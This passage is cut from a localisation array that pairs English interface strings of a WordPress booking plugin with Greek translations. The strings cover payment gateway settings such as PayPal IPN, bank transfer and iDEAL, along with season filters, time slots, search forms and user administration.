','Sale'=>'Πώληση','Authorization'=>'Εξουσιοδότηση',' Select using test (Sandbox Test Environment) or live PayPal payment.'=>' Επιλέξτε χρησιμοποιώντας δοκιμή (Sandbox δοκιμαστικό περιβάλλον) ή ζωντανή PayPal πληρωμή.','Sandbox'=>'Sandbox','Brazilian Real (only for Brazilian users)'=>'Νόμισμα Βραζιλίας (Real) (μόνο για τους χρήστες της Βραζιλίας)','Malaysian Ringgits (only for Malaysian users)'=>'Νόμισμα Μαλαισίας (Ringgits) (μόνο για τους χρήστες της Μαλαισίας)','Taiwan New Dollars'=>'Νόμισμα Ταϊβαν (New Dollars)','Thai Baht'=>'Νόμισμα Ταϊλανδη (Baht)','Turkish Lira (only for Turkish members)'=>'Νόμισμα Τουρκίας (Lira) (μόνο για τους χρήστες της Τουρκίας)','Payment Button type'=>'Κουμπί τύπος πληρωμής','Show Reference Text Box'=>'Εμφάνιση Πλαίσιο κειμένου αναφοράς','Check this box to show Reference Text Box'=>'Επιλέξτε αυτό το πλαίσιο για να δείξει κείμενο αναφοράς','Enter your phone number'=>'Εισάγετε το τηλέφωνό σας','Reference Text Box Title'=>'Αναφορά τίτλου κειμένου','Return URL from PayPal'=>'Επιστροφή URL από το PayPal','Cancel Return URL from PayPal'=>'Ακύρωση Επιστροφή URL από το PayPal','To use this feature you %smust activate auto-return link%s at your Paypal account.'=>'Για να χρησιμοποιήσετε αυτή την λειτουργία %sπρέπει να ενεργοποιήσετε την αυτόματη επιστροφή link%s στο προσωπικό Paypal λογαριασμό.',' Follow these instructions to set up your listener at your PayPal account:'=>' Ακολουθήστε αυτές τις οδηγίες για να δημιουργήσετε listener στο λογαριασμό σας στο PayPal:','Click Profile on the My Account tab.'=>'Κλικ στο Προφίλ στην καρτέλα Ο λογαριασμός μου.','Click Instant Payment Notification Preferences in the Selling Preferences column.'=>'Κάντε κλικ στο κουμπί επιλογές ενημέρωσης πληρωμών στη στήλη Προτιμήσεις πωλήσεων.','Click Receive IPN messages (Enabled) to enable your listener.'=>'Κάντε κλικ στην επιλογή Λήψη μηνυμάτων IPN (Ενεργοποιημένο) για να ενεργοποιήσετε το listener.','Click Back to Profile Summary to return to the Profile after activating your listener.'=>'Κάντε κλικ στο κουμπί Επιστροφή στο προφίλ Περίληψη για να επιστρέψετε στο προφίλ μετά την ενεργοποίηση listener.','End Time - Text field'=>'Ώρα λήξης - Πεδίο κειμένου','Start Time - Drop Down list'=>'Ώρα Έναρξης - Λίστα','Please note, in the %sOptions list%s you can use times in military time format %s(24 Hour Time)%s only.'=>'Παρακαλώ σημειώστε, μέσα στη %sΛίστα επιλογών%s μπορείτε να χρησιμοποιείτε την ώρα σε μορφή %s(24 Ώρες)%s μόνο.','End Time - Drop Down list'=>'Ώρα λήξης - Λίστα','Duration Time - Drop Down list'=>'Διάρκεια χρόνου - Λίστα','field'=>'πεδίο','This feature provides the possibility to use the different time slot selections in the booking form for the different week days or different days - which are assigned to the specific season filters. So each week day (day of specific season filter) can have a different time slots list.'=>'Το χαρακτηριστικό αυτό παρέχει τη δυνατότητα να χρησιμοποιούν τις διάφορες επιλογές χρονικού εύρους στη φόρμα κράτησης για τις διάφορες ημέρες στην εβδομάδα ή διαφορετικές ημέρες - που έχουν εκχωρηθεί στα ειδικά φίλτρα σεζόν. Έτσι, κάθε ημέρα της εβδομάδας (ημέρα του ειδικού φίλτρου σεζόν) μπορεί να έχει μια διαφορετική λίστα χρονικού εύρους.','Configuration'=>'Παραμετροποίηση','The general structure of the configuration %scondition rule%s is as follows'=>'Η γενική δομή της παραμετροποίησης %sκανόνας συνθήκης%s είναι ο ακόλουθος','Parameters'=>'Παράμετροι','%sname%s – the unique name of the condition group, containing several conditions with different values. For example, if you want to have specific HTML content for the different week days, you can have several conditions, with the same name but with different value parameters in conditions. Please check more about it, in the examples.'=>'%sόνομα%s – το μοναδικό όνομα της ομάδας, που περιέχει διάφορες συνθήκες με διαφορετικές τιμές. Για παράδειγμα, εάν θέλετε να έχετε συγκεκριμένο περιεχόμενο HTML για τις διαφορετικές ημέρες την εβδομάδα, μπορείτε να έχετε αρκετές συνθήκες, με το ίδιο όνομα, αλλά με διαφορετικές παραμέτρους αξία σε όρους. Παρακαλώ ελέγξτε περισσότερα γι \'αυτό, στα παραδείγματα.','%svalue%s – value of the specific conditions. If the value is true, the content of the conditions will show in the booking form. You can have the default value (empty – "", or like this – "*") for showing the content of this condition, if all other conditions are FALSE, or at initial stage, when the date in calendar is not yet selected.'=>'%sτιμή%s – τιμές από συγκεκριμένες συνθήκες. Εάν η τιμή είναι true, το περιεχόμενο από τις συνθήκες θα εμφανιστεί στην φόρμα κράτησης. Μπορείτε να έχετε την προεπιλεγμένη τιμή (κενό – "", ή όπως αυτό – "*") για εμφάνιση του περιεχομένου αυτής της συνθήκης, εάν όλες οι υπόλοιπες συνθήκες είναι FALSE, ή στην αρχική κατάσταση, όταν η ημερομηνία στο ημερολόγιο δεν έχει επιλεγεί ακόμα.','Examples'=>'Παραδείγματα','Week days conditions.'=>'Καθημερινές συνθήκες.','PayPal'=>'PayPal','Integration of Paypal payment system'=>'Ενσωμάτωση του συστήματος πληρωμών Paypal','Vendor Name'=>'Όνομα πωλητή','Set this value to the Vendor Name assigned to you by Sage Pay or chosen when you applied.'=>'Ορίστε αυτήν την τιμή στο όνομα του προμηθευτή που σας έχει ανατεθεί από Sage Pay ή επιλέξτε όταν εφαρμοστεί.','Right'=>'Δεξιά','Left'=>'Αριστερά','Currency'=>'Νόμισμα','Yen'=>'Yen','start new translation section in specific language, where %s - locale of the translation.'=>'έναρξη νέας ενότητας μετάφρασης σε συγκεκριμένη γλώσσα, όπου %s - τοπική μετάφραση.','Register and Translate everything in WPML plugin. Translation can be done at the WPML > "String translation" page. Required WPML 3.2 with String Translation plugin.'=>'Εγγραφείτε και μεταφράστε τα πάντα στο WPML plugin. Η μετάφραση μπορεί να γίνει στο WPML > "μετάφραση σειρών". Απαιτείται WPML 3.2 με το πρόσθετο μετάφραση σειρών.','Discount Coupon field'=>'Πεδίο Εκπτωτικό κουπόνι','All selected dates.'=>'Όλες οι επιλεγμένες ημερομηνίες.','All selected dates with times.'=>'Όλες οι επιλεγμένες ημερομηνίες με τις ώρες.','Other Hints'=>'Άλλες συμβουλές','title of booking resource'=>'τίτλος από την πηγή κράτησης','ID of booking resource.'=>'ID πηγής κράτησης.','cost of booking resource.'=>'κόστος της πηγής κράτησης.','capacity of booking resource.'=>'χωρητικότητα της πηγής κράτησης.','maximum number of visitors per booking resource.'=>'μέγιστος αριθμός επισκεπτών ανά πηγή κράτησης.','Change Language'=>'Αλλαγή γλώσσας','Change Resource'=>'Αλλαγή πηγής κράτησης','Enter name of booking resource'=>'Εισάγετε όνομα πηγής κράτησης','Warning! The resource was not changed. Current dates are already booked there.'=>'Προσοχή! Η πηγή κράτησης δεν άλλαξε. Οι τρέχουσες ημερομηνίες έχουν ήδη κάνει κράτηση εκεί.','Please, enter order number of your purchased version, which you received to your billing email.'=>'Παρακαλούμε, εισάγετε τον αριθμό της παραγγελίας της έκδοσης που αγοράσατε, το οποίο λάβατε στο Email σας.','If you will get any difficulties or have a questions, please contact by email %s'=>'Εάν αντιμετωπίσετε οποιαδήποτε δυσκολία ή έχετε κάποια ερώτηση, παρακαλώ επικοινωνήστε με Email %s','Enable this payment gateway'=>'Ενεργοποίηση αυτής της υπηρεσίας πληρωμής','Authorization Only'=>'Μόνο Αδειοδότηση','Payment description at gateway website'=>'Περιγραφή πληρωμής στην κυρίως ιστοσελίδα','You can use any shortcodes, which you have used in content of booking fields data form.'=>'Μπορείτε να χρησιμοποιήσετε οποιοδήποτε κωδικούς, τους οποίους έχετε χρησιμοποιήσει στο περιεχόμενο της φόρμας κρατήσεων.','This field support only up to %s characters by payment system.'=>'Αυτό το πεδίο υποστηρίζει μόνο έως %s χαρακτήρες από το σύστημα πληρωμών.','You should leave empty the Relay Response URL and Receipt Link URL/Text in the Merchant Interface, if a Relay Response is activated here.'=>'Θα πρέπει να αφήσετε κενή τη διεύθυνση ιστοσελίδας με εφεδρική απάντηση και το σύνδεσμο/Κείμενο της εμπορικής μορφής, εάν μία εφεδρική απάντηση είναι ενεργοποιημένη.','%s Settings'=>'%s Ρυθμίσεις','%s - Server Integration Method (SIM)'=>'%s - Μέθοδος ενοποίησης διακομιστή (SIM)','Payment method description that the customer will see on your payment page.'=>'Περιγραφή μεθόδου πληρωμής που θα δει ο πελάτης στην σελίδα πληρωμής.','Its only show fixed payment details.'=>'Εμφανίζει μόνο πάγιες λεπτομέρειες πληρωμής.','%s - inserting sort code '=>'%s - εισάγοντας σύντομο κωδικό ','%s - inserting IBAN '=>'%s - εισάγοντας ΙΒΑΝ ','%s - inserting BIC '=>'%s - εισάγοντας BIC ','You can use any shortcodes, that you can use in payment description form at Settings Payment General page'=>'Μπορείτε να χρησιμοποιήσετε οποιουσδήποτε κώδικες, που μπορείτε να χρησιμοποιήσετε στη φόρμα περιγραφής πληρωμής στις σελίδα με τις ρυθμίσεις πληρωμής','Enter your iPay88 Merchant Code.'=>'Πληκτρολογήστε των κωδικό εμπόρου iPay88.','Please configure all fields inside the %sBilling form fields%s section at %sPayments General%s tab.'=>'Παρακαλώ ρυθμίστε τις παραμέτρους όλων των πεδίων στο εσωτερικό της ενότητας %sΦόρμα χρέωσης %s στην καρτέλα %sΠληρωμές γενικά %s.','fixed sum'=>'σταθερό άθροισμα','This is default currency that showing at your website. Specific payment gateway(s) can support or does not suport it.'=>'Αυτό είναι το προεπιλεγμένο νόμισμα που φαίνεται στην ιστοσελίδα σας. Συγκεκριμένοι τρόποι πληρωμής μπορούν να το υποστηρίξουν ή δεν το υποστηρίζουν.','Important'=>'Σημαντικό','Check and configure currency at each activated payment gateway.'=>'Ελέγξτε και διαμορφώστε το νόμισμα σε κάθε ενεργοποιημένη υπηρεσία πληρωμής.','Currency Position'=>'Θέση συμβόλου Νομίσματος','Set position of the currency symbol.'=>'Ορισμός θέσης του συμβόλου νομίσματος.','Left with space'=>'Αριστερά με κενό','Right with space'=>'Δεξιά με κενό','Please select'=>'Παρακαλώ επιλέξτε','Configure booking details summary above the payment form'=>'Ρύθμιση λεπτομερειών κράτησης πάνω από τη φόρμα πληρωμής','Payment Gateways - General Settings'=>'Υπηρεσίες πληρωμής - Γενικές ρυθμίσεις','Active Payment Gateways'=>'Ενεργές υπηρεσίες πληρωμής','Payment Description'=>'Περιγραφή πληρωμής','Gateway'=>'Υπηρεσία','Some currencies at payment gateways are different from main currency %s'=>'Ορισμένα νομίσματα στις πύλες πληρωμών είναι διαφορετικά από το κύριο νόμισμα %s','Interface of plugin is using %s currency. Specific payment gateway will use own currency in payment form without currency exchange! Its can be reason of wrong cost.'=>'Η διαχείριση του πρόσθετου χρησιμοποιεί %s νόμισμα. Συγκεκριμένη πύλη πληρωμής θα χρησιμοποιήσει το δικό της νόμισμα στη φόρμα πληρωμής χωρίς συνάλλαγμα! Αυτό μπορεί να είναι λόγος για λάθος κόστος.','ID of booking'=>'ID κράτησης','ID of booking resources'=>'ID πηγών κράτησης','current date'=>'σημερινή ημερομηνία','current time'=>'τρέχουσα ώρα','content data of this booking'=>'δεδομένα αυτής της Κράτησης','show amount to pay'=>'εμφάνιση ποσού για πληρωμή','total booking cost'=>'συνολικό κόστος κράτησης','deposit cost'=>'κόστος κατάθεσης','balance cost'=>'κόστος ισοζυγίου','original booking cost'=>'αρχικό κόστος κράτησης','additional booking cost'=>'επιπλέον κόστος κράτησης','Amount to pay'=>'Ποσό πληρωμής','If you accept %scash payment%s, you can write details about it here'=>'Εάν αποδέχεσται %sπληρωμή με μετρητά%s, μπορείτε να γράψετε λεπτομέρειες σχετικά με αυτό εδώ','Account Type'=>'Τύπος λογαριασμού','Paypal Email address to receive payments'=>'Διεύθυνση Email Paypal για να λάβετε τις πληρωμές','This is the Paypal Email address where payments will be sent'=>'Αυτή είναι η διεύθυνση Email Paypal όπου θα σταλούν οι πληρωμές','Secure Merchant ID'=>'ID ασφαλείας Εμπόρου','Enter a title for the Reference text box (i.e. Your email address). Visitors will see this text.'=>'Εισάγετε ένα τίτλο κειμένου αναφοράς (για παράδειγμα: το Email σας). Οι επισκέπτες θα βλέπουν αυτό το κείμενο.','Instant Payment Notification (IPN) is a message service that notifies you of events related to PayPal transactions'=>'Άμεση κοινοποίηση πληρωμής (IPN) είναι μια υπηρεσία που σας ειδοποιεί με μήνυμα για συμβάντα που σχετίζονται με τις συναλλαγές PayPal','Sending email for invalid transaction'=>'Αποστολή Email για άκυρη συναλλαγή','PayPal IPN'=>'PayPal IPN','XOR Encryption password'=>'XOR κρυπτογράφηση κωδικού','AUTHENTICATE'=>'ΕΛΕΓΧΟΣ','If you have no account on this system, please visit %s to create one.'=>'Εάν δεν έχετε λογαριασμό συστήματος, παρακαλώ επισκεφτείτε %s για να δημιουργήσετε ένα.','Merchant ID'=>'Εμπορικός κωδικός','Enter your iDEAL Merchant ID'=>'Πληκτρολογήστε τον κωδικό του εμπορικού κλειδιού iDEAL','Enter your iDEAL Merchant Key.'=>'Πληκτρολογήστε το εμπορικό κλειδί iDEAL.','Test mode requires the option %s to be selected in the %s account configuration section %s'=>'Η λειτουργία δοκιμής απαιτεί την επιλογή %s να επιλεγεί στην ενότητα %s ρύθμιση παραμέτρων λογαριασμού %s','Test with Simulator'=>'Δοκιμή με προσομοιωτή','My Profile – Connection'=>'Το προφίλ μου – Σύνδεση','If not supplied then the description as configured in the administration/management portal section will be used. If the option %s is selected then the configured description will always be applied.'=>'Εάν δεν παρέχεται τότε η περιγραφή θα χρησιμοποιηθεί όπως έχει ρυθμιστεί στην ενότητα Διαχείριση/Διαχείριση πύλης. Εάν έχει επιλεγεί η επιλογή %s τότε θα εφαρμοστεί πάντα η περιγραφή που έχει ρυθμιστεί.','Always use Description'=>'Να χρησιμοποιείται πάντα περιγραφή','Integration of %s payment system'=>'Ενσωμάτωση του %s συστήματος πληρωμών','Processing your %s payments through %s'=>'Επεξεργασία των %s πληρωμών σας μέσω του %s','Different time slots, for the different week days'=>'Διαφορετικά πεδία στην φόρμα, για διαφορετικές ημέρες της εβδομάδας','Enter the %sTime%s using the text field.'=>'Εισάγετε την %sΏρα%s χρησιμοποιώντας το πεδίο κειμένου.','Different form fields, for the different week days'=>'Διαφορετικά πεδία στην φόρμα, για διαφορετικές ημέρες της εβδομάδας','Cost Fields'=>'Πεδία τιμών','Cost Correction Field'=>'Διόρθωση Πεδίου τιμής','Cost Hints'=>'Συμβουλές τιμών','Edit Note'=>'Επεξεργασία σημείωσης','%stype%s – type of the condition. There are 2 types of condition: "weekday" and "season". "weekday" – is the condition rule based on the selected day of week value, like Monday, Tuesday, etc… . "season" – is the condition rule based on the "season filter" name of selected date. In other words the condition is TRUE if the selected day belongs to a season filter in the Season Filters page.'=>'%sτύπος%s – τύπος συνθήκης. Υπάρχουν 2 τύποι συνθηκών: "Καθημερινή" και "σεζόν". "καθημερινή" – είναι ο κανόνας κατάσταση με βάση την επιλεγμένη ημέρα της εβδομάδας, όπως Δευτέρα, Τρίτη, κλπ… . "σεζόν" – ίναι ο κανόνας κατάσταση με βάση το "φίλτρο σεζόν" όνομα επιλεγμένης ημερομηνίας. Με άλλα λόγια η συνθήκη είναι TRUE εάν η επιλεγμένη ημέρα βρίσκεται σε ένα φίλτρο σεζόν μέσα στη σελίδα Φίλτρα Σεζον.','Duplicate Booking'=>'Δημιουργία αντιγράφου κράτησης','Clear booking resources selection'=>'Καθαρισμός επιλεγμένου προϊόντος κράτησης','Apply booking resources selection'=>'Εφαρμογή επιλογής προϊόντων κράτησης','Please note, its not possible to add new resources, if "All resources" option is selected. Please clear the selection, then add new resources.'=>'Παρακαλώ σημειώστε, δεν είναι δυνατόν να προσθέσετε νέο προϊόν κράτησης, εάν η επιλογή "Όλα τα προϊόντα κράτησης" είναι επιλεγμένη. Παρακαλώ καθαρίστε αυτή την επιλογή και μετά προσθέστε νέο προϊόν κράτησης.','Add New Booking Resource(s)'=>'Προσθέστε νέο/α προϊόν/τα κράτησης','Resources count'=>'Αριθμός ίδιων προϊόντων κράτησης','This booking resources does not exist'=>'Αυτό το προϊόν κράτησης δεν υπάρχει','First Name (required)'=>'Όνομα (απαιτείται)','Children'=>'"Παιδιά"','Details'=>'Παρατηρήσεις','Payment for booking %s on these day(s): %s'=>'Πληρωμή για την κράτηση %s για αυτές τις ημέρες: %s','Integration of authorizenet payment system'=>'Ενσωμάτωση συστήματος πληρωμών authorizenet','Bank Transfer'=>'Τραπεζική μεταφορά','Integration of Bank Transfer payment system'=>'Ενσωμάτωση συστήματος πληρωμών μέσω τραπεζικής μεταφοράς','Allow payments by %sdirect bank / wire transfer%s'=>'Επιτρέψτε πληρωμές μέσω %sdirect bank / wire transfer%s','Dear %sMake your payment %s directly into our bank account. %sPlease use your Booking ID %s as the payment reference! %s %s: %s %s: %s %s: %s %s: %s'=>'Παρακαλώ %sΚάντε την πληρωμή σας %s Κατευθείαν στον λογαριασμό μας. %sΠαρακαλώ χρησιμοποιήστε τo ID κράτησης %s ως αναφορά πληρωμής! %s %s: %s %s: %s %s: %s %s: %s','Bank Transit Number'=>'Τραπεζικός αριθμός μεταφοράς','Payment status updated by Mobile88 Admin(Fail)'=>'Η κατάσταση πληρωμής ενημερώθηκε από το διαχειριστή του Mobile88 (Απέτυχε)','for 1 day'=>'για μία ημέρα','Time impact to cost'=>'Η ώρα επηρεάζει την τιμή','Check this box if you want the %stime selection%s on the booking form %sapplied to the cost calculation%s.'=>'Επιλέξτε αυτό το πλαίσιο εάν θέλετε η %sεπιλογή χρόνου%s στη φόρμα αναζήτησης %sνα εφαρμόζεται στον υπολογισμό του κόστους%s.','Dot'=>'Τελεία','Separator for the decimal point'=>'Διαχωριστικό για το δεκαδικό ψηφίο','Please select a field from your booking form. This field will be automatically assigned to the current field in the billing form.'=>'Παρακαλώ επιλέξτε ένα πεδίο από τη φόρμα κράτησής σας. Αυτό το πεδίο θα καταχωρηθεί αυτόματα στο τρέχον πεδίο της φόρμας χρέωσης.','Show booking details in payment form'=>'Εμφάνιση λεπτομερειών κρατήσεων στην φόρμα πληρωμής',' Check this checkbox if you want to show the %sbooking details summary%s above the payment form'=>' Επιλέξτε αυτό το πλαίσιο εάν θέλετε να εμφανίζεται η %sσύνοψη των λεπτομερειών κράτησης%s πάνω από την φόρμα πληρωμής','Billing form fields'=>'Πεδία φόρμας χρέωσης','Integration of Pay in Cash payment system'=>'Ενσωμάτωση πληρωμών με μετρητά','Email for getting report for %sverified%s transactions.'=>'Email για την παραλαβή έκθεσης για %sεπαληθευμένες%s συναλλαγές.','Email for getting report for %sinvalid%s transactions.'=>'E-mail για να λήψη αναφοράς για %sάκυρες%s συναλλαγές.','Email for getting report for %ssome errors in verification process%s.'=>'E-mail για να λήψη αναφοράς για %sορισμένα λάθη στη διαδικασία επαλήθευσης%s.','Use the SSL connection for posting data, instead of standard HTTP connection'=>'Χρησιμοποιήστε τη σύνδεση SSL για ανάρτηση δεδομένων, αντί του προτύπου σύνδεσης HTTP','Use cURL posting'=>'Χρησιμοποιήστε cURL ανάρτηση','Use the cURL for posting data, instead of fsockopen() function'=>'Χρησιμοποιήστε cURL ανάρτηση, αντί της συνάρτησης fsockopen()','Click Choose IPN Settings to specify your listeners URL and activate the listener.'=>'Κάντε κλικ στην επιλογή Επιλέξτε Ρυθμίσεις IPN για να καθορίσετε τη διεύθυνση listener και να ενεργοποιήσετε το listener.','Specify the URL for your listener in the Notification URL field as:'=>'Προσδιορίστε τη διεύθυνση για το Listener στις ειδοποιήσεις διεύθυνσης ως:','Click Save.'=>'Κλικάρετε Αποθήκευση.','Thanks :)'=>'Ευχαριστούμε :)','Email Field'=>'Πεδίο Email','You can %suse this shortcode only once%s in the form.'=>'Μπορείτε να %sχρησιμοποιήσετε αυτόν τον σύντομο κωδικό μόνο μία φορά%s μέσα στη φόρμα.','Please check more about this feature %shere%s.'=>'Παρακαλώ ελέγξτε περισσότερα σχετικά με αύτη την λειτουργία %sεδώ%s.','Example: %s.'=>'Παράδειγμα: %s.','You must to have this shortcode:%s in the form.'=>'Πρέπει να έχετε αυτό τον κωδικό: %s μέσα στη φόρμα.','Required Fields in Booking Form'=>'Υποχρεωτικά πεδία στη φόρμα της κράτησης','General Information'=>'Γενικές Πληροφορίες','Rows'=>'Σειρές','Put this code in %sContent of Booking Fields%s and in %sEmail Templates%s'=>'Εισάγετε αυτόν τον κώδικα μέσα στο %sπεριεχόμενο όπου βρίσκονται τα πεδία κράτησης%s και μέσα στο %sΠρότυπο Email%s','Copy and paste this shortcode into the form at left side'=>'Αντιγράψτε και επικολλήστε αυτό το σύντομο κωδικό στην φόρμα αριστερά','Maxlength'=>'Μέγιστο μέγεθος','Size'=>'Μέγεθος','%s - cost of booking the resource, '=>'%s - κόστος κρατήσεων, ','%s - featured image, taken from the featured image associated with the post, '=>'%s - Φωτογραφίες, σύνδεση φωτογραφίας από τις δυνατότητες με μία θέση , ','%s - booking info, taken from the excerpt associated with the post, '=>'%s - Πληροφορίες κράτησης, σύνδεση πληροφορίας σε μία θέση, ','Cost of the booking for the selected dates only.'=>'Το κόστος της κράτησης μόνο για τις επιλεγμένες ημερομηνίες.','Additional cost, which depends on the fields selection in the form.'=>'Επιπλέον κόστος, το οποίο εξαρτάται από την επιλογή πεδίων στη φόρμα.','hour(s)'=>'ώρα(ες)','Cache expiration'=>'Λήξη Cache','Select time of cache expiration'=>'Επιλέξτε χρόνο για να λήγει η Cache','Search Results'=>'Αποτελέσματα αναζήτησης','CSS customization of search form and search results you can make at this file'=>'CSS οποιαδήποτε αλλαγή αφορά την φόρμα αναζήτησης και τα αποτελέσματα αναζήτησης, μπορεί να γίνει από αυτό το αρχείο','Horizontal Search Form Template'=>'Πρότυπο φόρμας αναζήτησης Οριζόντιο','Standard Search Form Template'=>'Πρότυπο προεπιλεγμένη φόρμα αναζήτησης','Reset'=>'Επαναφορά','Reset current Form'=>'Επαναφορά τρέχουσας Φόρμας','Cache will expire:'=>'Η Cache θα λήξη:','Found: %s booking forms inside of posts or pages '=>'Βρέθηκε: %s φόρμα κράτησης μέσα σε Θέση ή σελίδα ','Reset Search Cache'=>'Επαναφορά Αναζήτησης','Book now'=>'Κάντε κράτηση τώρα','Search results.'=>'Αποτελέσματα αναζήτησης.','Title of search widget'=>'Τίτλος widget αναζήτηση','Title of search results'=>'Τίτλος αποτελεσμάτων αναζήτησης','Please type the %sTitle of search results%s.'=>'Παρακαλώ πληκτρολογήστε %sΤίτλο αναζήτησης αποτελεσμάτων%s.','Please type the %smessage ,what is showing, when nothing found%s.'=>'Παρακαλώ πληκτρολογήστε το %sμήνυμα ,τι εμφανίζετε, όταν δεν βρέθηκε τίποτα%s.','Weekend'=>'Σαββατοκύριακο','High season'=>'Υψηλή σεζόν','Currency symbol'=>'Σύμβολο νομίσματος','Cost Title'=>'Τίτλος κόστους','Availability Settings'=>'Ρυθμίσεις διαθεσιμοτήτων','Enter additional cost in formats:'=>'Προσθέστε επιπρόσθετα κόστη σε μορφοποίηση:','Enter fixed cost'=>'Πληκτρολογήστε σταθερό κόστος','%s, then total cost will be %s'=>'%s, τότε το συνολικό κόστος θα είναι %s','Enter fixed amount for each selected day'=>'Εισάγετε σταθερό ποσό για κάθε επιλεγμένη ημέρα','or'=>'ή','Together'=>'Μαζί','For'=>'Για','Example'=>'Παράδειγμα','to'=>'μέχρι','Filter Name'=>'Όνομα Φίλτρου','Months'=>'Μήνες','January'=>'Ιανουάριος','February'=>'Φεβρουάριος','March'=>'Μάρτιος','April'=>'Απρίλιος','May'=>'Μαϊ','June'=>'Ιούνιος','July'=>'Ιούλιος','August'=>'Αύγουστος','September'=>'Σεπτέμβριος','November'=>'Νοέμβριος','December'=>'Δεκέμβριος','Years'=>'Έτη','Mo'=>'Δε','We'=>'Τε','Fr'=>'Πα','Jan'=>'Ιαν','Feb'=>'Φεβ','Mar'=>'Μαρ','Apr'=>'Απρ','Jun'=>'Ιουν','Jul'=>'Ιουλ','Aug'=>'Αυγ','Sep'=>'Σεπ','Nov'=>'Νοε','Dec'=>'Δεκ','time'=>'ώρα','Every'=>'Κάθε','of'=>'από','Delete selected booking form'=>'Διαγραφή επιλεγμένης φόρμας κράτησης','Do you really want to delete selected booking form ?'=>'Θέλετε πραγματικά να διαγράψετε την επιλεγμένη φόρμα ?','Add New Custom Form'=>'Προσθήκη Νέας Προσαρμοσμένης Φόρμας','Type the name of booking form'=>'Πληκτρολογήστε το όνομα της φόρμας κράτησης','Create'=>'Δημιουργία','Create new form'=>'Δημιουργία νέα φόρμα','There are no extended booking forms'=>'Δεν υπάρχουν φόρμες κράτησης','Select a %sFIXED%s number of days with %s1 mouse click%s'=>'Επιλέξτε ένα %sΣΤΑΘΕΡΟ%s αριθμό ημερών με %s1 κλικ%s','Days selection number'=>'Αριθμός Ημερών','Specific days selections'=>'Επιλογή συγκεκριμένων ημερών','Use check in/out time'=>'Χρησιμοποιήστε την ώρα άφιξης/αναχώρησης','%s Important!%s This will overwrite any times selection in your booking form.'=>'%s Σημαντικό!%s Αυτό θα αντικαταστήσει οποιαδήποτε τιμή έχει επιλεγεί στην φόρμα κράτησης.','Time Format'=>'Μορφή ώρας','Auto approve all new bookings'=>'Αυτόματη έγκριση όλων των νέων κρατήσεων','Check this checkbox to %sactivate%s auto approve of all new pending bookings.'=>'Επιλέξτε αυτό το πλαίσιο για %sενεργοποίηση%s της αυτόματης έγκρισης για όλες τις νέες κρατήσεις που εκκρεμούν.','Reason for cancellation'=>'Αιτιολογία ακύρωσης','Payment request'=>'Αίτηση πληρωμής','Start Time is invalid. The date or time may be booked, or already in the past! Please choose another date or time.'=>'Η ώρα έναρξης είναι άκυρη. Η συγκεκριμένη ημερομηνία ή ώρα μπορεί να έχει κρατηθεί, ή έχει κρατηθεί ήδη στο παρελθόν! Παρακαλούμε επιλέξτε άλλη ημερομηνία ή ώρα.','End Time is invalid. The date or time may be booked, or already in the past. The End Time may also be earlier that the start time, if only 1 day was selected! Please choose another date or time.'=>'Η ώρα λήξης είναι άκυρη. Η συγκεκριμένη ημερομηνία ή ώρα μπορεί να έχει κρατηθεί, ή έχει κρατηθεί ήδη στο παρελθόν! Η ώρα λήξης μπορεί επίσης να είναι νωρίτερα από ότι η ώρα έναρξης, εάν έχει επιλεγεί μόνο μία ημέρα! Παρακαλούμε επιλέξτε άλλη ημερομηνία ή ώρα.','The time(s) may be booked, or already in the past!'=>'Η συγκεκριμένη ώρα μπορεί να έχει κρατηθεί, ή να είχε κρατηθεί στο παρελθόν!','The payment status is changed successfully'=>'Το αποτέλεσμα της πληρωμής άλλαξε με επιτυχία','Payment status'=>'Κατάσταση πληρωμής','Any Status'=>'Κάθε Κατάσταση','Unknown Status'=>'Άγνωστη Κατάσταση','Not Completed'=>'Δεν ολοκληρώθηκε','Failed'=>'Απέτυχε','Completed'=>'Ολοκληρώθηκε','Partially paid'=>'Μερική πληρωμή','Cancelled'=>'Ακυρώθηκε','Fraud'=>'Απάτη','!Paid OK'=>'!Πληρωμή ΟΚ','Unknown status'=>'Άγνωστο αποτέλεσμα','Processed'=>'Επεξεργασμένα','Canceled_Reversal'=>'Ακυρώθηκε_Αντιλογισμός','Denied'=>'Άρνηση','Expired'=>'Έληξε','Partially_Refunded'=>'Μερική_Επιστροφή','Reversed'=>'Αντιλογισμός','Voided'=>'Ακυρώθηκε','Not authed'=>'Δεν επικυρώθηκε','Malformed'=>'Κακόμορφο','Invalid'=>'Άκυρος','Abort'=>'Ματαίωση','Rejected'=>'Απορρίφθηκε','Suspended'=>'Ανεστάλη','Print'=>'Εκτύπωση','Change status'=>'Αλλαγή κατάστασης','Send payment request to customer'=>'Αποστολή αιτήματος πληρωμής στον πελάτη','Type your %sreason for payment%s request'=>'Πληκτρολογήστε %sαιτιολογία πληρωμής%s αίτημα','Send Request'=>'Αποστολή Αιτήματος','Auto-fill form'=>'Αυτόματη συμπλήρωση φόρμας','Suite'=>'Σουίτα','User'=>'Χρήστης','Super Admin'=>'Διαχειριστής','Regular User'=>'Κανονικός Χρήστης','Inactive User'=>'Ανενεργός χρήστης','User is Activated'=>'Ο χρήστης είναι ενεργοποιημένος','User is Deactivated'=>'Ο χρήστης είναι απενεργοποιημένος','Set user as'=>'Ορισμός χρήστη ως','Unlimited'=>'Απεριόριστος','Do you really want'=>'Θέλετε πραγματικά','make user active'=>'κάνε τον χρήστη ενεργό','Activate'=>'Ενεργοποίηση','make user inactive'=>'κάνε τον χρήστη ανενεργό','Deactivate'=>'Απενεργοποίηση','Delete settings'=>'Διαγραφή ρυθμίσεων','Delete data'=>'Διαγραφή δεδομένων','Work days'=>'Ημέρες εργασίας','%sYou do not have permissions for this page.%s Your account is not active, please contact administrator.%s'=>'%sΔεν έχετε δικαιώματα για αυτή την σελίδα.%s Ο λογαριασμός σας δεν είναι ενεργός, παρακαλώ επικοινωνήστε με τον διαχειριστή σας.%s','Please, reserve an apartment with fresh flowers.'=>'Παρακαλώ, κρατήστε ένα διαμέρισμα με φρέσκα λουλούδια.','semicolon'=>'άνω τελεία','Change hash after the booking is approved'=>'Αλλαγή κατακερματισμού αφού η κράτηση έχει εγκριθεί','Modified'=>'Τροποποιημένο','Form fields'=>'Πεδία φόρμας','Columns'=>'Στήλες','%s - inserting data from fields of booking form'=>'%s - εισαγωγή δεδομένων από τα πεδία της φόρμας κράτησης','Wrap each item with %s tag'=>'Βάλτε κάθε θέμα σε %s tag','Put a label before field'=>'Εισάγετε μία ετικέτα πριν από το πεδίο','Make it %sexclusive%s'=>'Κάντο %sαποκλειστικό%s','Default value'=>'Προεπιλεγμένη τιμή','One Value from %sOptions%s list or term %s for 